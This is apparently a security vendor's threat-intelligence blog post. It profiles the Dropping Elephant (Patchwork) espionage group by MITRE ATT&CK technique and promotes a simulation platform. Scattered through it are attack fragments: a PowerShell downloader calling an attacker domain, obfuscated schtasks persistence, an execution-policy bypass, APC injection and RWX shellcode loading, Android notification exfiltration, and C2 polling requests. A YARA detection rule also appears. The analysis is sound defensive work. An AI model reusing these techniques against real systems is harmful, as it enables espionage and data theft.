Dropping Elephant (Patchwork): Espionage APT Tactics and Tools

Q: What is Dropping Elephant?

Dropping Elephant is an espionage-focused APT group first observed in December 2015 conducting cyber espionage against diplomatic and government-related targets. Operations combine tailored phishing and social engineering with multi-stage Windows and Android attack chains, using malicious shortcuts, PowerShell, scheduled tasks, DLL side-loading, encrypted shellcode, and memory-resident RATs.

Q: Is Dropping Elephant the same as Patchwork?

Yes. Dropping Elephant is also tracked as Patchwork, Hangover Group, Chinastrats, QUILTED TIGER, Zinc Emerson, APT-C-09, and APT-Q-36.

Q: Who does Dropping Elephant target?

Dropping Elephant targets government, defense, energy, research, aviation, financial, technology, pharmaceutical, NGO, and think tank organizations across Asia, Europe, Türkiye, and the United States. Recent operations included Chinese research organizations in July 2023, Bhutan-linked entities in July 2024, and Turkish defense contractors in July 2025.

Q: How does Dropping Elephant gain initial access?

Dropping Elephant uses spearphishing attachments and links. One campaign delivered GRES3001.lnk, a shortcut disguised as a PDF paired with a China energy-sector contract lure that launched a PowerShell downloader through conhost.exe. Mobile operations used romance-themed chat lures to push targets toward trojanized Android apps hosted outside the authorized app store.

Q: What tools and malware does Dropping Elephant use?

Dropping Elephant has used the modular EyeShell backdoor, Brute Ratel C4, PGoShell, twelve trojanized Android apps, and memory-resident Windows RATs. Loader chains rely on Donut shellcode with Chaskey-CTR-protected embedded PEs, AES-256-CBC encrypted payloads, and encrypted shellcode staged as files such as vlc.log and editor.dat.

Q: How does Dropping Elephant evade detection?

Obfuscation layers include split-token PowerShell such as iw''r, junk file extensions, Base64 text wrapping AES-256-CBC ciphertext, control-flow flattening, opaque predicates, and dynamic API reconstruction. The Donut stage patched AMSI, WLDP, and ETW functions in memory, and the RAT ran process, CPUID, and geolocation checks for sandboxes and virtual machines.

Q: How can I test defenses against Dropping Elephant?

The Picus Platform simulates Dropping Elephant attacks so security controls can be validated against real-life techniques. The Picus Threat Library includes Threat IDs 61215, 79461, 78426, 81776, and 56862 for this threat, covering Network Infiltration, E-mail Infiltration, and Windows Endpoint modules.

Umut Bayram | 16 MIN READ

LAST UPDATED ON AUGUST 08, 2026

Key Takeaways

Dropping Elephant, also known as Patchwork, is an espionage APT first observed in December 2015 targeting government and defense.
Windows chains start with malicious shortcuts disguised as PDFs, launching obfuscated PowerShell downloaders that stage payloads and persistence.
Trojanized Android apps spread through romance chat lures, steal messages, call recordings, keystrokes, images, and files.
The Picus Platform simulates Dropping Elephant attacks so teams can validate security controls against these techniques.

Dropping Elephant is an espionage-focused APT first observed in December 2015. It targets government, defense, energy, research, aviation, financial, technology, pharmaceutical, NGO, and think tank organizations across Asia, Europe, Türkiye, and the United States.

Dropping Elephant combines tailored phishing and social engineering with multi-stage Windows and Android attack chains. It uses malicious shortcuts, PowerShell, scheduled tasks, DLL side-loading, encrypted shellcode, and memory-resident RATs, while its Android implants intercept messages, log keystrokes, record calls, capture images, and steal files.

In this blog, we will cover Dropping Elephant’s major activities and TTPs and show how Picus helps you validate your security controls against this threat.

Simulate APT Attacks with 14-Day Free Trial of Picus Platform

What Are the Major Activities of the Dropping Elephant?

December 2015 - Dropping Elephant was first observed conducting cyber espionage against diplomatic and government-related targets.

April 2021–September 2023 - Dropping Elephant distributed twelve trojanized Android apps to support targeted mobile espionage operations.

July 2023 - Dropping Elephant targeted Chinese research organizations with phishing documents and the modular EyeShell backdoor.

July 2024 - Dropping Elephant targeted Bhutan-linked entities using malicious shortcuts, Brute Ratel C4, and PGoShell.

July 2025 - Dropping Elephant targeted Turkish defense contractors with conference-themed shortcuts, VLC side-loading, and encrypted shellcode.

June 2026 - Dropping Elephant used a China-themed shortcut chain to deploy a reworked memory-resident RAT.

Which MITRE ATT&CK Techniques Are Used by Dropping Elephant?

Tactic: Resource Development

T1583.001 Acquire Infrastructure: Domains

Dropping Elephant registered and prepared two domains for a defense-sector operation in Türkiye. The expouav[.]org delivery domain hosted the LNK-retrieved payload set and copied a legitimate unmanned-vehicle conference page. The roseserve[.]org C2 domain displayed cloned Turkish-language technology and news content.

One domain handled delivery. The other handled command and control.

Tactic: Initial Access

T1566.001 Phishing: Spearphishing Attachment

Dropping Elephant used GRES3001.lnk, a shortcut disguised as a PDF and paired with a China energy-sector contract-completion lure. The shortcut launched a PowerShell downloader through conhost.exe, retrieved the decoy PDF and malware components, opened the decoy, and staged the remaining chain in the background [1].

# Empty quotes split command names to avoid direct string matches.

$ProgressPreference = 'SilentlyContinue'

$b = 'C:\Users'

$c = 'C:\Windows'

# Download and display the decoy document.

iw''r 'https://chinagreenenergy[.]org/doc/35566/SXxls' `

-OutFile "$b\Public\GRES3001.pdf" `

-UseBasicParsing

...

T1566.002 Phishing: Spearphishing Link

Dropping Elephant used romance-themed chat lures to move targets from standard messaging platforms to trojanized Android apps. The links led to attacker-controlled applications distributed outside the authorized app store. The apps appeared to provide normal messaging functions while running surveillance code after installation. The campaign used direct-download infrastructure and attacker-controlled packages (for example, fich[.]buzz and com.yoho.talk).

Tactic: Execution

T1055 Process Injection

The malicious libvlc.dll loader decrypted the encrypted vlc.log payload stored in C:\Windows\Tasks and launched the resulting x86 PE inside the legitimate media-player process.

The RAT also supported the 3APC3 command. It accepted an existing payload file and process start string, launched the selected process through cmd, and used QueueUserAPC for asynchronous execution. The operator selects the carrier process and the payload file [2].

// Start the process that will host the payload.

HANDLE process = StartTargetProcess(process_start_string);

// Allocate memory in the target process and copy the payload into it.

void *remote = AllocateMemoryInProcess(process, payload_size);

WriteMemory(process, remote, payload_bytes, payload_size);

// Queue the injected buffer as an asynchronous procedure call.

QueueUserAPC((PAPCFUNC)remote, target_thread, 0);

ResumeThread(target_thread);

T1059.001 Command and Scripting Interpreter: PowerShell

The malicious GRES3001.lnk shortcut invoked PowerShell through conhost.exe. The downloader used split-token obfuscation such as iw''r, g''c''i, r''e''n, c''p''i, and &(g''cm sch)*.

It downloaded multiple files, renamed them, opened the lure, created persistence, and removed the shortcut. The chain set $ProgressPreference to SilentlyContinue to hide progress output [1].

$ProgressPreference = 'SilentlyContinue'

# Split-token forms reconstruct standard PowerShell commands at parse time.

iw''r $url -OutFile $destination -UseBasicParsing # Invoke-WebRequest

r''e''n $downloaded $finalName # Rename-Item

&(g''cm sch*) /create... # Get-Command schtasks

T1059.003 Command and Scripting Interpreter: Windows Command Shell

The RAT's cmx command handler executed operator-supplied commands through cmd.exe. It prefixed command execution with UTF-8 code-page configuration, captured standard output, and returned the result over C2 [1].

:: chcp 65001 configures UTF-8 output before the operator command runs.

cmd.exe /c chcp 65001 | <operator_command>

The 3gjdfghj6 shell-command token used the task format 3gjdfghj6$<command>. The RAT split the string on $, passed the argument to cmd.exe, captured the output, and sent it to C2.

The 3APC3 injection command also used cmd to launch the process selected for shellcode injection.

Tactic: Persistence

T1053.005 Scheduled Task/Job: Scheduled Task

The PowerShell stager created the GoogleErrorReport scheduled task, which ran the legitimate Fondue.exe side-loading host every minute from C:\Users\Public. Each run triggered the host to load the malicious APPWIZ.cpl control-panel loader from the same directory [1].

# Resolve and run schtasks while splitting its name to reduce string matches.

&(gcm sch*) /create /Sc minute /tn GoogleErrorReport /tr "$b\Public\Fondue"

# The resolved command creates a task that runs the side-loading host every minute.

The group also created the NewErrorReport scheduled task with a one-minute interval. It invoked a renamed copy of the legitimate task-scheduler client, which launched the legitimate vlc.exe media-player host from C:\Windows\Tasks and loaded the malicious libvlc.dll side-loading library [2].

# Run the renamed task-scheduler client with arguments that create the persistence task.

saps 'C:\Windows\Tasks\Winver' `-a '/Create', '/sc', 'minute', '/tn', 'NewErrorReport', ` '/tr', 'C:\Windows\Tasks\vlc', '/f'

T1547 Boot or Logon Autostart Execution

Dropping Elephant's Android surveillance component registered for the BOOT_COMPLETED broadcast and started when the device booted. This restored collection after a restart without another user action.

<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />

<receiver

android:name=".BootReceiver"

android:exported="false">

<intent-filter>

</intent-filter>

</receiver>

Tactic: Stealth

T1027 Obfuscated Files or Information

Dropping Elephant used several obfuscation layers. The LNK split command names with empty quotes, payloads arrived with junk extensions such as .ezxzez, .cypyly, and .dzlzlz, and the RAT payload was stored as Base64 text containing AES-256-CBC ciphertext.

The decrypted stage was a Donut loader whose embedded PE was protected with Chaskey-CTR. The final RAT used control-flow flattening, opaque predicates, stack-built strings, dynamic API reconstruction, and a statically linked runtime. C2 fields were independently wrapped as base64url(Salsa20(base64url(value))).

# Empty quotes split command strings without changing the resolved token.

iw''r # Invoke-WebRequest

r''e''n # Rename-Item

g''c''i # Get-ChildItem

c''p''i # Copy-Item

&(g''cm sch*) # Invoke the command returned by Get-Command sch*

Additionally, files arrived under innocuous names and were renamed into operational components.

For example, lama became vlc.exe, and lake became libvlc.dll. The encrypted payload was stored as vlc.log, while command strings used custom delimiter-heavy formats.

T1036.005 Masquerading: Match Legitimate Resource Name or Location

The shortcut used a browser-like icon and was disguised as a PDF. The malware staged components in the writable C:\Users\Public directory. The GoogleErrorReport task name, the legitimate Fondue.exe side-loading host, and the expected APPWIZ.cpl control-panel filename made the chain look like normal software activity.

Dropping Elephant also renamed downloaded files so they matched familiar executable and DLL names. lama became vlc.exe, lake became libvlc.dll, and dalai became Winver.exe.

T1070.004 Indicator Removal: File Deletion

After creating persistence, the PowerShell script deleted the original malicious shortcut. This removed the original shortcut but kept the scheduled task and loader chain active.

# The shortcut was deleted after the scheduled task was created. (Illustrated)

Remove-Item -LiteralPath "$env:USERPROFILE\Downloads\GRES3001.lnk" -Force

T1140 Deobfuscate/Decode Files or Information

The malicious APPWIZ.cpl loader read the encrypted editor.dat payload from C:\Windows\Tasks, Base64-decoded it, and decrypted the ciphertext using AES-256-CBC through the Windows cryptography API. It used the 32-byte key and the 16-byte IV.

The output was a Donut shellcode blob. Donut then decrypted its Chaskey-protected embedded PE, resolved imports, applied relocations, and transferred control to the final RAT.

The malicious libvlc.dll loader also read the encrypted vlc.log shellcode payload from C:\Windows\Tasks, decrypted it with a hardcoded key, and produced an x86 PE. Here is the decryption logic [2]:

// Use the embedded key material to configure the payload decryption routine.

const char key_material[] = "76bhu93FGRjZX5hj876bhu93FGRjX5";

BYTE *buffer = malloc(ciphertext_size);

memcpy(buffer, ciphertext, ciphertext_size);

// The loader configures the cryptographic key, then decrypts in place.

CryptSetKeyParam(key_handle, KP_MODE, mode_data, 0);

CryptDecrypt(

key_handle,

0, // no hash handle

TRUE, // final block

buffer,

&ciphertext_size

);

// 'buffer' now contains the x86 payload.

T1497.001 Virtualization/Sandbox Evasion: System Checks

The RAT enumerated processes and compared them against a built-in list of debuggers, sandbox components, and virtual-machine artifacts. It also performed CPUID hypervisor checks, VM artifact checks, and public-IP geolocation checks. The RAT continued running after the checks.

T1574.001 Hijack Execution Flow: DLL

The legitimate Fondue.exe side-loading host loaded the malicious APPWIZ.cpl control-panel loader from C:\Users\Public because both files were placed in the same directory. The DLL exported RunFODW, the function expected by the host. That export served as the loader entry point and decrypted the encrypted payload file stored in C:\Windows\Tasks.

Also, the legitimate vlc.exe media-player host was placed in C:\Windows\Tasks beside the malicious libvlc.dll side-loading library. The library decoded the encrypted vlc.log shellcode payload and continued execution inside the trusted process.

T1620 Reflective Code Loading

The malicious APPWIZ.cpl loader allocated read-write-execute memory, copied the decrypted Donut shellcode into that region, and passed the region's address as the callback for EnumUILanguagesW. Donut then manually mapped the final PE, resolved imports, applied relocations, and executed it without creating a final payload file [1].

// Allocate executable memory for the decrypted shellcode.

void *rwx = VirtualAlloc(

NULL,

shellcode_size,

MEM_COMMIT | MEM_RESERVE,

PAGE_EXECUTE_READWRITE

);

// Copy the decrypted Donut loader into executable memory.

memcpy(rwx, donut_shellcode, shellcode_size);

// Abuse a legitimate callback API to transfer control to the shellcode.

EnumUILanguagesW(

(UILANGUAGE_ENUMPROCW)rwx,

);

Tactic: Defense Impairment

T1685 Disable or Modify Tools

The Donut stage patched AMSI, WLDP, and ETW functions inside the current process before running the final RAT. The patches reduced content scanning, code-integrity checks, and event telemetry for the unpacked RAT.

The group also launched PowerShell with an execution-policy bypass parameter to override a local policy that could block the script.

# Execution-policy bypass.

powershell.exe -ExecutionPolicy Bypass -Command '<embedded chain>'

Tactic: Discovery

T1016 System Network Configuration Discovery

The RAT made a one-time request to api.ipify[.]org to obtain the host's public IP address. It placed the result, together with the resolved country, in the ndlpeip registration field. Before beaconing, the RAT checked connectivity through public sites (for example, google.com and yahoo.com).

Its Android tooling also collected mobile-network identifiers, including IMEI, IMSI, the phone number, and country calling code. These values identified the device and its mobile-network context.

T1082 System Information Discovery

The RAT collected the username in umnome, computer name in pmjodf, bot identifier in idkdfjej, operating-system version in vrjdmej, public IP and country in ndlpeip, country in cokenme, and the process list in mkeoldkf. It encoded each registration field before the first tasking loop [1].

The group also used an earlier RAT version that called GetComputerNameW and GetUserNameW, retrieved system firmware data, and checked processor capabilities. The RAT used these values to profile the host and identify virtualized or automated environments [2].

// Windows APIs used by the RAT.

GetComputerNameW(computer_name, &computer_name_length);

GetUserNameW(user_name, &user_name_length);

GetSystemFirmwareTable(provider, table_id, buffer, buffer_size);

Its Android tooling also collected the SIM serial number, device identifier, and general device and operating-system information [3].

Tactic: Collection

T1005 Data from Local System

The fl command enumerated candidate files, while uf exfiltrated a file selected by the operator. This let the operator list the filesystem, then request a specific file.

Its Android tooling also scanned local and external storage for documents, spreadsheets, presentations, images, text files, and audio files. Targeted extensions covered documents, images, and audio files (for example, .pdf, .jpg, and .mp3).

It also collected contacts, SMS messages, and call-history records when the app had the required permissions. Worker classes such as UserContactsUploadWorker and UserSMSUploadWorker handled collection across several variants.

T1056.001 Input Capture: Keylogging

The trojanized Wave Chat app used Android accessibility capabilities to log user interactions and keystrokes. The malware also used accessibility access to read visible chat text, grant more permissions, store captured input locally, and upload it later.

T1113 Screen Capture

The RAT's sc handler captured the virtual screen with BitBlt, encoded the image through the Windows Imaging Component, and uploaded it to a random-looking path. The RAT captured the screen only when commanded.

Another RAT implementation used the 3SC3 command to capture the screen, convert the bitmap to JPEG, and send it to C2. Its GDI routine read the desktop dimensions, copied the screen into a compatible bitmap with BitBlt, and passed the bitmap to the JPEG encoder [2].

// Capture the full desktop into a compatible in-memory bitmap.

HDC screen = GetDC(NULL);

int width = GetSystemMetrics(SM_CXSCREEN);

int height = GetSystemMetrics(SM_CYSCREEN);

HDC memory_dc = CreateCompatibleDC(screen);

HBITMAP bitmap = CreateCompatibleBitmap(screen, width, height);

SelectObject(memory_dc, bitmap);

// SRCCOPY | CAPTUREBLT-style raster operation used by the screenshot routine.

BitBlt(

memory_dc,

width,

height,

screen,

0x40CC0020

);

// The captured bitmap is then encoded as JPEG for upload.

T1119 Automated Collection

Multiple Android implementations registered a notification-listener service and collected the originating package name, notification title, text, post time, and notification key. It serialized those fields as JSON and uploaded them to cloud storage. This exposed SMS and chat content without direct access to each app's private database [3].

// Read the notification source, title, body, timestamp, and key.

public void onNotificationPosted(StatusBarNotification sbn) {

…

JSONObject data = new JSONObject();

data.put("appName", appName); // Originating application package.

data.put("title", title); // Notification title.

data.put("content", content); // Notification body.

data.put("postTime", postTime);

data.put("key", key);

// Upload a UTF-8 JSON object under a notification-specific path.

root.child("noti/" + postTime + ".json").putBytes(data.toString().getBytes(StandardCharsets.UTF_8));

}

T1123 Audio Capture

The trojanized Wave Chat app could record ambient microphone audio, ordinary phone calls, and calls made through multiple communication applications. A C2 command requested a 60-second recording by default or supplied another duration. The malware uploaded captured audio through HTTP POST requests.

T1125 Video Capture

The trojanized Wave Chat app could take photographs with the device camera. The C2 server instructed the implant to capture an image, and the malware uploaded the result through HTTP POST.

Tactic: Command and Control

T1071.001 Application Layer Protocol: Web Protocols

The RAT sent HTTPS POST requests to gcl-power[.]org over TCP 443 through the WinINet API. Before contacting the C2 server, it checked internet connectivity by pinging public websites.

The RAT polled a fixed URI for operator commands. Each request included the host-derived bot ID in the dine form field. It treated MMMMM==YYYYY as a response, meaning that no command was available. It then waited about three seconds before polling again [1].

# Task-poll request.

POST /prjozifvkpkfhkr/gedhagammgjvvva/ HTTP/1.1

Host: gcl-power[.]org

Content-Type: application/x-www-form-urlencoded

# 'cid' is the runtime-derived bot identifier.

dine=<cid>

After receiving command tokens plus arguments, dispatched the matching handler, and uploaded command output, screenshots, or files.

The 3Up3 token downloaded and executed files, 3gjdfghj6 ran shell commands, 3ngjfng5 uploaded data, 3APC3 loaded shellcode through QueueUserAPC, and 3SC3 captured screenshots.

T1102 Web Service

Multiple Android variants used cloud-hosted real-time databases and object storage [3].

POST /v0/b/<project>.appspot.com/o?name=<object> HTTP/2

Host: firebasestorage.googleapis.com

Content-Type: application/x-www-form-urlencoded

{

"appName": "com.google.android.apps.messaging",

"title": "<redacted>",

"content": "<redacted>",

"postTime": 1677684688933,

"key": "<notification-key>"

}

T1132 Data Encoding

The RAT removed the framing characters <, >, (, ), and the asterisk (*) that marked the boundaries of a task before decoding its content. It used ==zz==oo==pp== to separate the command identifier from the command data.

The group also used an earlier RAT version that called strtok() to split each incoming C2 string into separate values at every $ character. The first value identified the command, while later values supplied its arguments.

// Split the server response at each '$' character.

char *command = strtok(server_string, "$" ); // The first value identifies the command to run.

char *arg1 = strtok(NULL, "$" ); // Later values provide the command arguments.

char *arg2 = strtok(NULL, "$" );

The RAT also used fixed separator sequences in POST data [2].

// Match the delimiter-heavy strings used to format RAT commands and responses.

rule Dropping_Elephant_RAT_Command_Format {

strings:

$a1 = "%s=33up$!!$%s$!!$%s" ascii wide

$a2 = "%s=uep$@$%s$@$%s" ascii wide

$a3 = "%s=%s$!!$%s" ascii wide

...

$a9 = "%s=%s$!!$%s$!!$%s$!!$%s$!!$%s$!!$%s$!!$" ascii wide

condition:

uint16(0) == 0x5A4D and filesize < 1MB and all of ($a*)

}

Tactic: Exfiltration

T1041 Exfiltration Over C2 Channel

Host details, process lists, command output, screenshots, and operator-selected files were sent over the same HTTPS connection used to receive commands. Separate processing functions and URI paths handled each type of data.

For example, command polling used /prjozifvkpkfhkr/gedhagammgjvvva/, while screenshots used /prjozifvkpkfhkr/spxbjdhxtapivrk/. All traffic went to the gcl-power[.]org C2 domain [1].

Its Android surveillance apps also sent contacts, SMS messages, call logs, location, installed-app lists, local files, notifications, chat content, images, audio, and keystrokes through their C2 and cloud-storage channels. The apps serialized data as JSON or file objects and uploaded it through HTTP or HTTPS. The trojanized Wave Chat app sent some data over unencrypted HTTP.

Tactic: Impact

T1485 Data Destruction

Dropping Elephant's Android tooling deleted selected local files, call-history records, and contact-list records from the device.

How Picus Simulates Dropping Elephant Attacks?

We strongly suggest simulating Dropping Elephant Attacks to test the effectiveness of your security controls against real-life cyber attacks using the Picus Platform. You can also test your defenses against hundreds of other threat groups within minutes with a 14-day free trial of the Picus Platform.

Picus Threat Library includes the following threats for Dropping Elephant:

Threat ID	Threat Name	Attack Module
61215	Patchwork Threat Group Campaign Malware Download Threat	Network Infiltration
79461	Patchwork Threat Group Campaign Malware Email Threat	E-mail Infiltration
78426	Dropping Elephant Threat Group Campaign	Windows Endpoint
81776	Patchwork Threat Group Campaign Backdoor Malware Download Threat	Network Infiltration
56862	Patchwork Threat Group Campaign Backdoor Malware Email Threat	E-mail Infiltration

Start simulating emerging threats today and get actionable mitigation insights with a 14-day free trial of the Picus Platform.

What Are the Aliases of the Dropping Elephant Group?

Dropping Elephant is also known as: Patchwork, Hangover Group, Chinastrats, QUILTED TIGER, Zinc Emerson, APT-C-09, APT-Q-36.

References

[1] A. Širokova, “Malware à la Mode: Tracking Dropping Elephant Tradecraft Through a China-Themed Loader Chain,” Rapid7. Accessed: Aug. 06, 2026. [Online]. Available: https://www.rapid7.com/blog/post/tr-malware-tracking-dropping-elephant-tradecraft-china-themed-loader-chain/

[2] A. Wolf, “Dropping Elephant APT Group Targets Turkish Defense Industry With New Campaign and Capabilities: LOLBAS, VLC Player, and Encrypted Shellcode,” Arctic Wolf. Accessed: Aug. 06, 2026. [Online]. Available: https://arcticwolf.com/resources/blog/dropping-elephant-apt-group-targets-turkish-defense-industry/

[3] L. Stefanko, “VajraSpy: A Patchwork of espionage apps.” Accessed: Aug. 06, 2026. [Online]. Available: https://www.welivesecurity.com/en/eset-research/vajraspy-patchwork-espionage-apps/